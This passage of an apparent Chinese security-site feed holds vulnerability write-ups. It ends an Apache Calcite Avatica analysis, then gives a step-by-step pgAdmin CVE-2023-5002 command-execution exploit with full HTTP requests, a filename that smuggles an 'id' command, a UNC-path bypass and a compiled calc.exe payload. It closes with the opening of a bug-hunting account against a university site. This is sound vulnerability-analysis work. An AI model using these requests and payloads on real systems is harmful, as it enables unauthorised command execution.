<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">java</span>.<span class="cm-variable">net</span>.<span class="cm-variable">URL</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">public</span> <span class="cm-keyword">class</span> <span class="cm-def">CustomHttpClient</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">private</span> <span class="cm-variable">URL</span> <span class="cm-variable">url</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-comment">// 构造函数，接受一个 URL 类型的参数</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-variable">CustomHttpClient</span>(<span class="cm-variable">URL</span> <span class="cm-variable">url</span>) <span class="cm-keyword">throws</span> <span class="cm-variable">Exception</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">Runtime</span>.<span class="cm-variable">getRuntime</span>().<span class="cm-variable">exec</span>(<span class="cm-string">&quot;calc.exe&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img alt="7" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558354.gif" width="720" height="391.1943793911007"/></p>
<h2>漏洞修复</h2>
<p>通过对比我们发现对传入的类进行了控制，限定必须属于<code>AvaticaHttpClient</code> 的子类</p>
<p><a href="https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&#038;w=0">https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&amp;w=0</a></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502081558355.png" width="720" height="349.65600971266696"/></p>
<p>　</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205880.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pgAdmin后台命令执行漏洞（CVE-2023-5002）分析</title>
		<link>https://www.secpulse.com/archives/205142.html</link>
		<comments>https://www.secpulse.com/archives/205142.html#comments</comments>
		<pubDate>Thu, 06 Feb 2025 07:41:14 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205142</guid>
		<description><![CDATA[<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629395.png" width="720" height="340.297"/></p>
<p>我们可以看到针对于漏洞 CVE-2022-4223，官方做了一定的修复措施。</p>
<p>web\pgadmin\misc__init__.py#validate_binary_path</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629396.png" width="720" height="343.297"/></p>
<p>首先是添加了&nbsp;<code>@login_required</code> 进行权限校验。在 Flask 框架中，<code>@login_required</code> 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能，其中包括&nbsp;<code>@login_required</code> 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用&nbsp;<code>@login_required</code> 装饰器时，它会检查当前用户是否已经登录。如果用户未登录，则会将其重定向到登录页面或返回相应的错误信息，而不允许访问被装饰的代码块。</p>
<p>添加了权限校验之后，这个漏洞就从未授权的前台漏洞，转换为需要登录的后台漏洞了。</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629398.png" width="720" height="332.16333622936577"/></p>
<p>同时对传入的路径进行校验，通过&nbsp;<code>os.path.exists</code> 来判断是否存在。</p>
<h3>linux</h3>
<p>我们发现会对传入的路径进行校验的，那么在linux 下，我们可以通过在服务器上上传一个包含恶意文件名的文件，来进行绕过。</p>
<p>可以从 docker hub 上搜索 docker 资源</p>
<p><a href="https://hub.docker.com/search?q=pgadmin">https://hub.docker.com/search?q=pgadmin</a></p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">docker</span> <span class="cm-variable">pull</span> <span class="cm-variable">dpage</span><span class="cm-operator">/</span><span class="cm-variable">pgadmin4</span>:<span class="cm-number">7.6</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">docker</span> <span class="cm-variable">run</span> <span class="cm-operator">-</span><span class="cm-variable">e</span> <span class="cm-string">&#39;PGADMIN_DEFAULT_EMAIL=test@example.com&#39;</span> <span class="cm-operator">-</span><span class="cm-variable">e</span> <span class="cm-string">&#39;PGADMIN_DEFAULT_PASSWORD=123456&#39;</span> &nbsp;<span class="cm-operator">-</span><span class="cm-variable">p</span> <span class="cm-number">5050</span>:<span class="cm-number">80</span> <span class="cm-operator">--</span><span class="cm-variable">name</span> <span class="cm-variable">pgadmin</span> <span class="cm-operator">-</span><span class="cm-variable">d</span> &nbsp;<span class="cm-variable">docker</span>.<span class="cm-variable">io</span><span class="cm-operator">/</span><span class="cm-variable">dpage</span><span class="cm-operator">/</span><span class="cm-variable">pgadmin4</span>:<span class="cm-number">7.6</span></span></pre>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629399.png" width="720" height="217.46799431009958"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629400.png" width="720" height="289.81846882399367"/></p>
<p>登录后台工具-&gt;存储管理器</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629401.png" width="720" height="332.0470588235294"/></p>
<p>上传一个包含恶意文件名的文件</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">POST</span> <span class="cm-operator">/</span><span class="cm-variable">file_manager</span><span class="cm-operator">/</span><span class="cm-variable">filemanager</span><span class="cm-operator">/</span><span class="cm-number">3395111</span><span class="cm-operator">/</span> <span class="cm-variable">HTTP</span><span class="cm-operator">/</span><span class="cm-number">1.1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Host</span>: <span class="cm-number">127.0.0.1</span>:<span class="cm-number">5050</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Length</span>: <span class="cm-number">491</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">X</span><span class="cm-operator">-</span><span class="cm-variable">pgA</span><span class="cm-operator">-</span><span class="cm-variable">CSRFToken</span>: <span class="cm-variable">ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi</span>.<span class="cm-property">Zi8ctA</span>.<span class="cm-property">_DuZsbw2SE05kwuVkqgG7Y</span><span class="cm-operator">-</span><span class="cm-variable">KsjE</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span>: <span class="cm-variable">application</span><span class="cm-operator">/</span><span class="cm-variable">json</span>, <span class="cm-variable">text</span><span class="cm-operator">/</span><span class="cm-variable">plain</span>, <span class="cm-operator">*/*</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">User</span><span class="cm-operator">-</span><span class="cm-variable">Agent</span>: <span class="cm-variable">Mozilla</span><span class="cm-operator">/</span><span class="cm-number">5.0</span> (<span class="cm-variable">Windows</span> <span class="cm-variable">NT</span> <span class="cm-number">10.0</span>; <span class="cm-variable">Win64</span>; <span class="cm-variable">x64</span>) <span class="cm-variable">AppleWebKit</span><span class="cm-operator">/</span><span class="cm-number">537.36</span> (<span class="cm-variable">KHTML</span>, <span class="cm-variable">like</span> <span class="cm-variable">Gecko</span>) <span class="cm-variable">Chrome</span><span class="cm-operator">/</span><span class="cm-number">85.0.4183.83</span> <span class="cm-variable">Safari</span><span class="cm-operator">/</span><span class="cm-number">537.36</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Type</span>: <span class="cm-variable">multipart</span><span class="cm-operator">/</span><span class="cm-variable">form</span><span class="cm-operator">-</span><span class="cm-variable">data</span>; <span class="cm-variable">boundary</span><span class="cm-operator">=----</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Origin</span>: <span class="cm-variable">http</span>:<span class="cm-operator">//</span><span class="cm-number">127.0.0.1</span>:<span class="cm-number">5050</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Sec</span><span class="cm-operator">-</span><span class="cm-variable">Fetch</span><span class="cm-operator">-</span><span class="cm-variable">Site</span>: <span class="cm-variable">same</span><span class="cm-operator">-</span><span class="cm-variable">origin</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Sec</span><span class="cm-operator">-</span><span class="cm-variable">Fetch</span><span class="cm-operator">-</span><span class="cm-variable">Mode</span>: <span class="cm-variable">cors</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Sec</span><span class="cm-operator">-</span><span class="cm-variable">Fetch</span><span class="cm-operator">-</span><span class="cm-variable">Dest</span>: <span class="cm-variable">empty</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Referer</span>: <span class="cm-variable">http</span>:<span class="cm-operator">//</span><span class="cm-number">127.0.0.1</span>:<span class="cm-number">5050</span><span class="cm-operator">/</span><span class="cm-variable">browser</span><span class="cm-operator">/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span><span class="cm-operator">-</span><span class="cm-variable">Encoding</span>: <span class="cm-variable">gzip</span>, <span class="cm-variable">deflate</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span><span class="cm-operator">-</span><span class="cm-variable">Language</span>: <span class="cm-variable">zh</span><span class="cm-operator">-</span><span class="cm-variable">CN</span>,<span class="cm-variable">zh</span>;<span class="cm-variable">q</span><span class="cm-operator">=</span><span class="cm-number">0.9</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Cookie</span>: <span class="cm-variable">pga4_session</span><span class="cm-operator">=</span><span class="cm-number">2397843</span><span class="cm-variable">f</span><span class="cm-operator">-</span><span class="cm-variable">fbe6</span><span class="cm-operator">-</span><span class="cm-number">4481</span><span class="cm-operator">-</span><span class="cm-number">947</span><span class="cm-variable">e</span><span class="cm-operator">-</span><span class="cm-variable">e30f73c6a0ee</span><span class="cm-operator">!</span><span class="cm-variable">GPxXiZuTJzjVn</span><span class="cm-operator">+</span><span class="cm-variable">sk6vhlLNAmjhQr6xIY0yumFSIGBAQ</span><span class="cm-operator">=</span>; <span class="cm-variable">PGADMIN_LANGUAGE</span><span class="cm-operator">=</span><span class="cm-variable">zh</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Connection</span>: <span class="cm-variable">close</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">------</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Disposition</span>: <span class="cm-variable">form</span><span class="cm-operator">-</span><span class="cm-variable">data</span>; <span class="cm-variable">name</span><span class="cm-operator">=</span><span class="cm-string">&quot;newfile&quot;</span>; <span class="cm-variable">filename</span><span class="cm-operator">=</span><span class="cm-string">&quot;\&quot;;id;#&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Type</span>: <span class="cm-variable">text</span><span class="cm-operator">/</span><span class="cm-variable">plain</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-number">123</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">------</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Disposition</span>: <span class="cm-variable">form</span><span class="cm-operator">-</span><span class="cm-variable">data</span>; <span class="cm-variable">name</span><span class="cm-operator">=</span><span class="cm-string">&quot;mode&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">add</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">------</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Disposition</span>: <span class="cm-variable">form</span><span class="cm-operator">-</span><span class="cm-variable">data</span>; <span class="cm-variable">name</span><span class="cm-operator">=</span><span class="cm-string">&quot;currentpath&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">------</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Disposition</span>: <span class="cm-variable">form</span><span class="cm-operator">-</span><span class="cm-variable">data</span>; <span class="cm-variable">name</span><span class="cm-operator">=</span><span class="cm-string">&quot;storage_folder&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">my_storage</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">------</span><span class="cm-variable">WebKitFormBoundaryihDQGI2B09k9alLf</span><span class="cm-operator">--</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629402.png" width="720" height="323.1274433150899"/></p>
<p>同时可以得到在文件在服务器上的路径</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629403.png" width="720" height="63.325301204819276"/></p>
<p>打开文件-&gt;配置</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629404.png" width="720" height="246.50943396226415"/></p>
<p>路径-&gt;二进制路径-&gt;填入恶意文件的位置</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629405.png" width="720" height="322.36686390532543"/></p>
<p>点击运行</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629406.png" width="720" height="286.9831306394665"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629407.png" width="720" height="313.6941176470588"/></p>
<h3>windows</h3>
<p>下载软件并进行安装</p>
<p><a href="https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe">https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe</a></p>
<p>需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= &#39;0.0.0.0&#39;</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629408.png" width="720" height="171.65853658536585"/></p>
<p>因为windows 无法利用拼接来执行命令，所以还是要想办法成功加载文件才行。</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">os</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">binary_path</span> <span class="cm-operator">=</span> <span class="cm-string">&quot;\\\\192.168.222.128\\TMP\\&quot;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">UTILITIES_ARRAY</span> <span class="cm-operator">=</span> [<span class="cm-string">&#39;pg_dump&#39;</span>, <span class="cm-string">&#39;pg_dumpall&#39;</span>, <span class="cm-string">&#39;pg_restore&#39;</span>, <span class="cm-string">&#39;psql&#39;</span>]</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">for</span> <span class="cm-variable">utility</span> <span class="cm-keyword">in</span> <span class="cm-variable">UTILITIES_ARRAY</span>:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">full_path</span> <span class="cm-operator">=</span> <span class="cm-variable">os</span>.<span class="cm-property">path</span>.<span class="cm-property">abspath</span>(</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">os</span>.<span class="cm-property">path</span>.<span class="cm-property">join</span>(<span class="cm-variable">binary_path</span>, (<span class="cm-variable">utility</span> <span class="cm-keyword">if</span> <span class="cm-variable">os</span>.<span class="cm-property">name</span> <span class="cm-operator">!=</span> <span class="cm-string">&#39;nt&#39;</span> <span class="cm-keyword">else</span> (<span class="cm-variable">utility</span> <span class="cm-operator">+</span> <span class="cm-string">&#39;.exe&#39;</span>)))</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-builtin">print</span>(<span class="cm-variable">full_path</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-builtin">print</span>(<span class="cm-variable">os</span>.<span class="cm-property">path</span>.<span class="cm-property">exists</span>(<span class="cm-variable">full_path</span>))</span></pre>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629409.png" width="720" height="186.49434571890146"/></p>
<p>windows 不能再利用共享资源来实现，所以也构造一个exe 上传并执行。</p>
<p><br/></p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<p>编译恶意的exe文件并放到上传</p>
<ul class=" list-paddingleft-2">
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">pip install pyinstaller</p>
</li>
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">type execute_calc.py</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">import</span> <span class="cm-variable">subprocess</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">def</span> <span class="cm-def">execute_calc</span>():</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">subprocess</span>.<span class="cm-property">call</span>(<span class="cm-string">&quot;calc.exe&quot;</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">if</span> <span class="cm-variable">__name__</span> <span class="cm-operator">==</span> <span class="cm-string">&quot;__main__&quot;</span>:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">execute_calc</span>()</span></pre>
</li>
<li>
<p style="padding: 0px;margin-top: 0px;margin-bottom: 15px">pyinstaller --onefile execute_calc.py</p>
</li>
</ul>
<p>和linux启动有所不同</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629410.png" width="720" height="275.2112676056338"/></p>
<p>Tools-&gt;import</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629411.png" width="720" height="297.7847604084839"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629412.png" width="720" height="299.4590356722854"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629413.png" width="720" height="317.9623824451411"/></p>
<p>成功将恶意文件上传到服务器上。</p>
<p>同时构造请求数据包</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">POST</span> <span class="cm-operator">/</span><span class="cm-variable">misc</span><span class="cm-operator">/</span><span class="cm-variable">validate_binary_path</span> <span class="cm-variable">HTTP</span><span class="cm-operator">/</span><span class="cm-number">1.1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Host</span>: <span class="cm-number">192.168.222.145</span>:<span class="cm-number">5050</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">X</span><span class="cm-operator">-</span><span class="cm-variable">pgA</span><span class="cm-operator">-</span><span class="cm-variable">CSRFToken</span>: <span class="cm-variable">IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki</span>.<span class="cm-property">Zi9GcQ</span>.<span class="cm-property">pGwCjLqPq3fNzohIRNerpipIRK8</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span>: <span class="cm-variable">application</span><span class="cm-operator">/</span><span class="cm-variable">json</span>, <span class="cm-variable">text</span><span class="cm-operator">/</span><span class="cm-variable">plain</span>, <span class="cm-operator">*/*</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">User</span><span class="cm-operator">-</span><span class="cm-variable">Agent</span>: <span class="cm-variable">Mozilla</span><span class="cm-operator">/</span><span class="cm-number">5.0</span> (<span class="cm-variable">Windows</span> <span class="cm-variable">NT</span> <span class="cm-number">10.0</span>; <span class="cm-variable">Win64</span>; <span class="cm-variable">x64</span>) <span class="cm-variable">AppleWebKit</span><span class="cm-operator">/</span><span class="cm-number">537.36</span> (<span class="cm-variable">KHTML</span>, <span class="cm-variable">like</span> <span class="cm-variable">Gecko</span>) <span class="cm-variable">Chrome</span><span class="cm-operator">/</span><span class="cm-number">85.0.4183.83</span> <span class="cm-variable">Safari</span><span class="cm-operator">/</span><span class="cm-number">537.36</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Origin</span>: <span class="cm-variable">http</span>:<span class="cm-operator">//</span><span class="cm-number">192.168.222.145</span>:<span class="cm-number">5050</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Referer</span>: <span class="cm-variable">http</span>:<span class="cm-operator">//</span><span class="cm-number">192.168.222.145</span>:<span class="cm-number">5050</span><span class="cm-operator">/</span><span class="cm-variable">browser</span><span class="cm-operator">/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span><span class="cm-operator">-</span><span class="cm-variable">Encoding</span>: <span class="cm-variable">gzip</span>, <span class="cm-variable">deflate</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span><span class="cm-operator">-</span><span class="cm-variable">Language</span>: <span class="cm-variable">zh</span><span class="cm-operator">-</span><span class="cm-variable">CN</span>,<span class="cm-variable">zh</span>;<span class="cm-variable">q</span><span class="cm-operator">=</span><span class="cm-number">0.9</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Cookie</span>: <span class="cm-variable">pga4_session</span><span class="cm-operator">=</span><span class="cm-variable">e6f521fc</span><span class="cm-operator">-</span><span class="cm-variable">e9f4</span><span class="cm-operator">-</span><span class="cm-number">4</span><span class="cm-variable">c58</span><span class="cm-operator">-</span><span class="cm-variable">bf0a</span><span class="cm-operator">-</span><span class="cm-variable">e9abafb4ceb5</span><span class="cm-operator">!</span><span class="cm-variable">JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d</span><span class="cm-operator">/</span><span class="cm-variable">oPzcAbFI</span><span class="cm-operator">=</span>; <span class="cm-variable">PGADMIN_LANGUAGE</span><span class="cm-operator">=</span><span class="cm-variable">en</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Connection</span>: <span class="cm-variable">close</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Type</span>: <span class="cm-variable">application</span><span class="cm-operator">/</span><span class="cm-variable">json</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Content</span><span class="cm-operator">-</span><span class="cm-variable">Length</span>: <span class="cm-number">39</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{<span class="cm-string">&quot;utility_path&quot;</span>:<span class="cm-string">&quot;C:\\Users\\whippet\\&quot;</span>}</span></pre>
<p><img alt="2" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629414.gif" width="720" height="391.1943793911007"/></p>
<p>可能是因为本地测试的原因，后来尝试的时候发现，本地去调用共享文件时，可以接收到请求，但是很快就断开连接，所以最后的结果是 False。</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629415.png" width="720" height="421.57068062827227"/></p>
<p><img alt="4" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202406211629416.gif" width="720" height="391.1943793911007"/></p>
<p>所以环境为windwos 时可以利用共享资源来绕过 os.path.exists(）的检测。</p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205142.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>从靶场到实战：双一流高校多个高危漏洞</title>
		<link>https://www.secpulse.com/archives/205871.html</link>
		<comments>https://www.secpulse.com/archives/205871.html#comments</comments>
		<pubDate>Thu, 06 Feb 2025 07:34:50 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205871</guid>
		<description><![CDATA[<p>本文结合其它用户案例分析讲解挖掘某双一流站点的过程，包含日志泄露漏洞深入利用失败，到不弱的弱口令字典进入后台，再到最后偶遇一个貌似只在靶场遇到过的高危漏洞。</p>
<p><strong style="padding: 0px;margin: 0px">信息搜集：</strong></p>
<p>web站点的话从域名，ip等入手范围太大了，于是决定直接从小程序入手。</p>
<p>微信搜索学校名称，便直接可以通过公众号，小程序寻找目标。这里注意如果你要挖掘某edu的漏洞，就可以多关注他们的公众号，小程序，看看最近有没有什么新的功能出现，这种功能点漏洞比较容易出现。</p>
<p>于是我直接在某公众号发现了一个新功能：报名入口。临近毕业，所有有很多公司可能会来学校宣讲或者招人，这种时候就很有可能出现新功能，本案例就是。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641147.png" width="720" height="517.2537313432836"/></p>
<p>照常点击功能，出现跳转，直接转浏览器测web页面。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641148.png" width="720" height="356.734693877551"/></p>
<p><strong style="padding: 0px;margin: 0px">日志泄露nday：</strong></p>
<p>在登陆时发现限定了登陆时间，而目前已经不在时间内，可见这其实就是一个临时的系统。</p>
<p>我检查js信息尝试调试js绕过，没成功就通过报错发现为thinkphp框架，直接上工具一把梭。</p>
<p>链接：<a href="https://github.com/Lotus6/ThinkphpGUI">https://github.com/Lotus6/ThinkphpGUI</a></p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641149.png" width="720" height="202.53790005614823"/></p>
<p>只可惜只存在一个日志泄露的nday,没能shell。</p>
<p>根据日志泄露目录可以发现能够遍历近一年的日志信息，此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息，例如账号密码之类，这样就可以扩大日志泄露危害，进一步挖掘利用。</p>
<p><br/></p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<p>参考文章：</p>
<p><a href="https://cloud.tencent.com/developer/article/1752185">https://cloud.tencent.com/developer/article/1752185</a></p>
<p>这篇文章就是利用kali自带工具whatweb探测出thinkphp框架：</p>
